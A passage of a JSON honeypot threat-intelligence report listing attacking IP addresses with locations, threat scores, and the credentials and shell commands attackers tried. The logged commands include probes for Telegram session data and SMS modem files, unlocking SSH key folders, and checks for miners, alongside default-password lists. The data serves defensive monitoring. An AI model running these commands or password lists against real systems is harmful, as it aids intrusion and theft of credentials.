        "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36"
      ],
      "passwords_attempted": [
        "$4",
        "Accept-Encoding: gzip",
        "Cseq: 3992",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [
        ""
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Belgium",
      "country_code": "BE",
      "city": "Brussels",
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 11.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 20.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 112,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-11T11:37:49.138000+00:00",
        "last_seen_30d": "2026-03-11T11:40:17.922000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 71,
        "Suricata": 41
      }
    },
    "129.212.231.21": {
      "attack_count": 65,
      "first_seen": "2026-03-12T15:40:13.176Z",
      "last_seen": "2026-03-12T16:04:13.007Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "111111",
        "123123",
        "12345",
        "123456",
        "12345678",
        "123456789",
        "P@ssw0rd",
        "admin",
        "password",
        "password1",
        "qwerty"
      ],
      "commands_executed": [
        "cat /proc/uptime 2 > /dev/null | cut -d. -f1",
        "uname -m 2 > /dev/null",
        "uname -s -v -n -m 2 > /dev/null"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.file_download"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 12.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 19.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 96,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-12T15:39:52.445000+00:00",
        "last_seen_30d": "2026-03-12T16:05:15.325000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 65,
        "Suricata": 31
      }
    },
    "134.209.199.89": {
      "attack_count": 60,
      "first_seen": "2026-03-10T12:31:10.367Z",
      "last_seen": "2026-03-10T12:44:40.420Z",
      "sessions": 11,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "111111",
        "123123",
        "12345",
        "123456",
        "12345678",
        "123456789",
        "admin",
        "password",
        "password1",
        "qwerty"
      ],
      "commands_executed": [
        "cat /proc/uptime 2 > /dev/null | cut -d. -f1",
        "uname -m 2 > /dev/null",
        "uname -s -v -n -m 2 > /dev/null"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.file_download"
      ],
      "country": "Netherlands",
      "country_code": "NL",
      "city": "Amsterdam",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 9.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 19.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 86,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-10T12:31:10.367000+00:00",
        "last_seen_30d": "2026-03-10T12:45:47.062000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 60,
        "Suricata": 26
      }
    },
    "3.143.162.210": {
      "attack_count": 56,
      "first_seen": "2026-03-13T07:46:40.467Z",
      "last_seen": "2026-03-27T16:41:17.788Z",
      "sessions": 19,
      "ports": [],
      "usernames_attempted": [
        "Accept-Encoding: gzip",
        "GET / HTTP/1.1",
        "User-Agent: visionheight.com/scan Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) Chrome/126.0.0.0 Safari/537.36"
      ],
      "passwords_attempted": [
        "",
        "Accept: */*",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.client.kex"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Columbus",
      "asn": 16509,
      "as_org": "Amazon.com, Inc.",
      "threat_score": 98.3,
      "threat_level": "critical",
      "score_components": {
        "frequency": 30,
        "persistence": 23.3,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 3069,
        "days_active_30d": 28,
        "ports_targeted_30d": 114,
        "honeypots_triggered_30d": 12,
        "first_seen_30d": "2026-03-04T15:22:01+00:00",
        "last_seen_30d": "2026-03-31T18:28:00.210000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 1999,
        "Honeytrap": 819,
        "Dionaea": 76,
        "Cowrie": 56,
        "ConPot": 41,
        "Mailoney": 35,
        "Redishoneypot": 26,
        "Ciscoasa": 6,
        "ElasticPot": 5,
        "Ipphoney": 3,
        "Honeyaml": 2,
        "H0neytr4p": 1
      }
    },
    "103.173.7.163": {
      "attack_count": 50,
      "first_seen": "2026-03-28T21:35:23.878Z",
      "last_seen": "2026-03-28T21:40:48.302Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Sialkot",
      "asn": 142647,
      "as_org": "Nasstec Airnet Networks Private Limited",
      "threat_score": 28.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 18.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 76,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-28T21:35:23.878000+00:00",
        "last_seen_30d": "2026-03-28T21:41:50.625000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 50,
        "Suricata": 26
      }
    },
    "14.1.106.80": {
      "attack_count": 50,
      "first_seen": "2026-03-19T23:15:08.564Z",
      "last_seen": "2026-03-19T23:20:32.742Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Lahore",
      "asn": 9541,
      "as_org": "Cyber Internet Services Pvt Ltd.",
      "threat_score": 19.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 76,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-19T23:15:08.564000+00:00",
        "last_seen_30d": "2026-03-19T23:21:35.960000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 50,
        "Suricata": 26
      }
    },
    "70.187.228.183": {
      "attack_count": 37,
      "first_seen": "2026-03-21T19:42:50.483Z",
      "last_seen": "2026-03-21T19:45:35.229Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "12345",
        "123456",
        "admin",
        "guest",
        "root"
      ],
      "commands_executed": [
        "/ip cloud print",
        "cat /proc/cpuinfo",
        "echo Hi | cat -n",
        "ifconfig",
        "locate D877F783D5D3EF8Cs",
        "ls -la ~/.local/share/TelegramDesktop/tdata /home/*/.local/share/TelegramDesktop/tdata /dev/ttyGSM* /dev/ttyUSB-mod* /var/spool/sms/* /var/log/smsd.log /etc/smsd.conf* /usr/bin/qmuxd /var/qmux_connect_socket /etc/config/simman /dev/modem* /var/config/sms/*",
        "ps -ef | grep '[Mm]iner'",
        "ps | grep '[Mm]iner'",
        "uname -a"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.login.failed",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.command.failed",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Irvine",
      "asn": 22773,
      "as_org": "Cox Communications Inc.",
      "threat_score": 19.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 16.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 41,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-21T19:42:50.483000+00:00",
        "last_seen_30d": "2026-03-21T19:46:40.414000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 37,
        "Suricata": 4
      }
    },
    "220.81.148.22": {
      "attack_count": 36,
      "first_seen": "2026-03-13T19:52:00.820Z",
      "last_seen": "2026-03-13T19:53:31.911Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "12345",
        "admin",
        "guest",
        "root"
      ],
      "commands_executed": [
        "/ip cloud print",
        "cat /proc/cpuinfo",
        "echo Hi | cat -n",
        "ifconfig",
        "locate D877F783D5D3EF8Cs",
        "ls -la ~/.local/share/TelegramDesktop/tdata /home/*/.local/share/TelegramDesktop/tdata /dev/ttyGSM* /dev/ttyUSB-mod* /var/spool/sms/* /var/log/smsd.log /etc/smsd.conf* /usr/bin/qmuxd /var/qmux_connect_socket /etc/config/simman /dev/modem* /var/config/sms/*",
        "ps -ef | grep '[Mm]iner'",
        "ps | grep '[Mm]iner'",
        "uname -a"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.login.failed",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.command.failed",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Yeongju",
      "asn": 4766,
      "as_org": "Korea Telecom",
      "threat_score": 11.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 16.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 40,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-13T19:52:00.820000+00:00",
        "last_seen_30d": "2026-03-13T19:54:38.208000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 36,
        "Suricata": 4
      }
    },
    "66.167.169.174": {
      "attack_count": 30,
      "first_seen": "2026-03-21T05:05:21.653Z",
      "last_seen": "2026-03-21T05:08:38.897Z",
      "sessions": 15,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Lahore",
      "asn": 9541,
      "as_org": "Cyber Internet Services Pvt Ltd.",
      "threat_score": 19.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 16.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 46,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-21T05:05:21.653000+00:00",
        "last_seen_30d": "2026-03-21T05:09:41.671000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 30,
        "Suricata": 16
      }
    },
    "182.151.41.228": {
      "attack_count": 27,
      "first_seen": "2026-03-04T19:36:44.761Z",
      "last_seen": "2026-03-18T14:46:31.469Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "debian",
        "ubuntu",
        "centos"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.login.success",
        "cowrie.session.file_upload"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Shanghai",
      "asn": 38283,
      "as_org": "CHINANET SiChuan Telecom Internet Data Center",
      "threat_score": 23.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 16.5,
        "persistence": 12.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 45,
        "days_active_30d": 15,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-04T19:36:44.761000+00:00",
        "last_seen_30d": "2026-03-18T14:57:14.923000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 27,
        "Suricata": 18
      }
    },
    "80.94.95.221": {
      "attack_count": 23,
      "first_seen": "2026-03-09T07:19:15.031Z",
      "last_seen": "2026-03-26T07:32:56.278Z",
      "sessions": 8,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version"
      ],
      "country": "Romania",
      "country_code": "RO",
      "city": null,
      "asn": 204428,
      "as_org": "SS-Net",
      "threat_score": 95.2,
      "threat_level": "critical",
      "score_components": {
        "frequency": 29.3,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 858,
        "days_active_30d": 29,
        "ports_targeted_30d": 118,
        "honeypots_triggered_30d": 6,
        "first_seen_30d": "2026-03-02T21:21:18.733000+00:00",
        "last_seen_30d": "2026-03-30T19:36:15.547000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 508,
        "Honeytrap": 266,
        "Adbhoney": 28,
        "Redishoneypot": 27,
        "Cowrie": 23,
        "Dionaea": 6
      }
    },
    "27.128.175.119": {
      "attack_count": 16,
      "first_seen": "2026-03-29T19:54:47.056Z",
      "last_seen": "2026-03-29T20:02:57.930Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "1q1q1q1q!",
        "6yhn7ujm8ik,"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.command.input",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.failed",
        "cowrie.login.success"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Hangzhou",
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 24.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 13.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 22,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-29T19:54:47.056000+00:00",
        "last_seen_30d": "2026-03-29T20:13:06.344000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 16,
        "Suricata": 6
      }
    },
    "5.35.158.117": {
      "attack_count": 15,
      "first_seen": "2026-03-22T17:13:05.491Z",
      "last_seen": "2026-03-22T17:16:10.036Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root",
        "service"
      ],
      "passwords_attempted": [
        "alpine",
        "dreambox",
        "service",
        "ttnet"
      ],
      "commands_executed": [
        "shell",
        "system",
        "cat /proc/mounts; /bin/busybox WHIRM",
        "enable",
        "sh"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.session.params"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": "Vladikavkaz",
      "asn": 43530,
      "as_org": "Limited Liability Company Irtelcom",
      "threat_score": 17.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 12.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 17,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-22T17:13:05.491000+00:00",
        "last_seen_30d": "2026-03-22T17:26:16.456000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 15,
        "Suricata": 2
      }
    },
    "39.170.9.163": {
      "attack_count": 10,
      "first_seen": "2026-03-16T04:12:25.943Z",
      "last_seen": "2026-03-16T04:30:20.626Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "Misty1",
        "Terminator2"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Hangzhou",
      "asn": 56041,
      "as_org": "China Mobile communications corporation",
      "threat_score": 12.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 12.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 16,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-16T04:12:25.943000+00:00",
        "last_seen_30d": "2026-03-16T04:31:21.970000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 10,
        "Suricata": 6
      }
    },
    "64.23.151.46": {
      "attack_count": 9,
      "first_seen": "2026-03-21T20:47:51.443Z",
      "last_seen": "2026-03-21T20:50:12.961Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        " "
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Santa Clara",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 16.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 14,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-21T20:47:51.443000+00:00",
        "last_seen_30d": "2026-03-21T20:51:22.486000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 9,
        "Suricata": 5
      }
    },
    "65.49.1.182": {
      "attack_count": 9,
      "first_seen": "2026-03-27T11:45:47.335Z",
      "last_seen": "2026-03-27T11:45:47.541Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "GET / HTTP/1.1",
        "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/112.0"
      ],
      "passwords_attempted": [
        "Accept: */*",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [
        "Accept-Encoding: gzip",
        ""
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.failed",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.session.params"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 94.9,
      "threat_level": "critical",
      "score_components": {
        "frequency": 24.9,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 307,
        "days_active_30d": 30,
        "ports_targeted_30d": 81,
        "honeypots_triggered_30d": 8,
        "first_seen_30d": "2026-03-02T08:37:00+00:00",
        "last_seen_30d": "2026-03-31T13:50:00.367000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 194,
        "Honeytrap": 79,
        "Cowrie": 9,
        "H0neytr4p": 8,
        "Miniprint": 8,
        "Dionaea": 5,
        "ConPot": 2,
        "Ipphoney": 2
      }
    },
    "109.195.108.173": {
      "attack_count": 8,
      "first_seen": "2026-03-05T09:41:14.094Z",
      "last_seen": "2026-03-21T02:27:41.416Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": "Yekaterinburg",
      "asn": 51604,
      "as_org": "JSC ER-Telecom Holding",
      "threat_score": 25.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 12.0,
        "persistence": 14.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 16,
        "days_active_30d": 17,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-05T09:41:14.094000+00:00",
        "last_seen_30d": "2026-03-21T02:37:45.357000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 8,
        "Suricata": 8
      }
    },
    "137.184.169.162": {
      "attack_count": 8,
      "first_seen": "2026-03-15T09:44:43.028Z",
      "last_seen": "2026-03-15T09:44:44.193Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "Accept-Encoding: gzip",
        "GET / HTTP/1.1",
        "User-Agent: Mozilla/5.0 zgrab/0.x"
      ],
      "passwords_attempted": [
        "",
        "Accept: */*",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version"
      ],
      "country": "Canada",
      "country_code": "CA",
      "city": "Toronto",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 63.9,
      "threat_level": "high",
      "score_components": {
        "frequency": 30,
        "persistence": 8.3,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 121764,
        "days_active_30d": 10,
        "ports_targeted_30d": 65946,
        "honeypots_triggered_30d": 16,
        "first_seen_30d": "2026-03-15T09:44:00+00:00",
        "last_seen_30d": "2026-03-24T17:11:17.631000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Suricata": 107738,
        "Honeytrap": 13968,
        "ConPot": 10,
        "Dionaea": 9,
        "Cowrie": 8,
        "Miniprint": 8,
        "Mailoney": 6,
        "Adbhoney": 4,
        "Redishoneypot": 3,
        "Dicompot": 2,
        "Tanner": 2,
        "ElasticPot": 1,
        "Honeyaml": 1,
        "Ipphoney": 1,
        "Medpot": 1
      }
    },
    "178.128.66.56": {
      "attack_count": 8,
      "first_seen": "2026-03-18T13:50:16.684Z",
      "last_seen": "2026-03-18T13:50:44.845Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "Accept-Encoding: gzip",
        "GET / HTTP/1.1",
        "User-Agent: Mozilla/5.0 zgrab/0.x"
      ],
      "passwords_attempted": [
        "",
        "Accept: */*",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Santa Clara",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 60.1,
      "threat_level": "high",
      "score_components": {
        "frequency": 30,
        "persistence": 10.8,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 108512,
        "days_active_30d": 13,
        "ports_targeted_30d": 62636,
        "honeypots_triggered_30d": 16,
        "first_seen_30d": "2026-03-10T17:48:36+00:00",
        "last_seen_30d": "2026-03-22T02:07:44.115000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Suricata": 97492,
        "Honeytrap": 10961,
        "Dionaea": 12,
        "ConPot": 9,
        "Cowrie": 8,
        "Miniprint": 8,
        "Mailoney": 6,
        "Adbhoney": 4,
        "Redishoneypot": 3,
        "Dicompot": 2,
        "ElasticPot": 1,
        "Honeyaml": 1,
        "Ipphoney": 1,
        "Medpot": 1,
        "Tanner": 1
      }
    },
    "2.57.121.50": {
      "attack_count": 8,
      "first_seen": "2026-03-20T22:03:42.220Z",
      "last_seen": "2026-03-26T16:02:14.402Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Romania",
      "country_code": "RO",
      "city": null,
      "asn": 47890,
      "as_org": "Unmanaged Ltd",
      "threat_score": 24.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 11.5,
        "persistence": 5.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 14,
        "days_active_30d": 7,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-20T22:03:42.220000+00:00",
        "last_seen_30d": "2026-03-26T16:03:16.259000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 8,
        "Suricata": 6
      }
    },
    "2.57.122.197": {
      "attack_count": 8,
      "first_seen": "2026-03-26T22:03:44.404Z",
      "last_seen": "2026-03-30T07:03:21.964Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Romania",
      "country_code": "RO",
      "city": null,
      "asn": 47890,
      "as_org": "Unmanaged Ltd",
      "threat_score": 26.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 11.5,
        "persistence": 4.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 14,
        "days_active_30d": 5,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-26T22:03:44.404000+00:00",
        "last_seen_30d": "2026-03-30T07:04:26.148000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 8,
        "Suricata": 6
      }
    },
    "34.38.103.107": {
      "attack_count": 8,
      "first_seen": "2026-03-20T08:18:24.258Z",
      "last_seen": "2026-03-20T08:19:17.576Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version"
      ],
      "country": "Belgium",
      "country_code": "BE",
      "city": "Brussels",
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 15.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 14,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-20T08:18:24.258000+00:00",
        "last_seen_30d": "2026-03-20T08:20:27.481000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 8,
        "Suricata": 6
      }
    },
    "45.61.133.121": {
      "attack_count": 8,
      "first_seen": "2026-03-22T19:03:50.682Z",
      "last_seen": "2026-03-31T07:01:41.127Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Las Vegas",
      "asn": 14956,
      "as_org": "RouterHosting LLC",
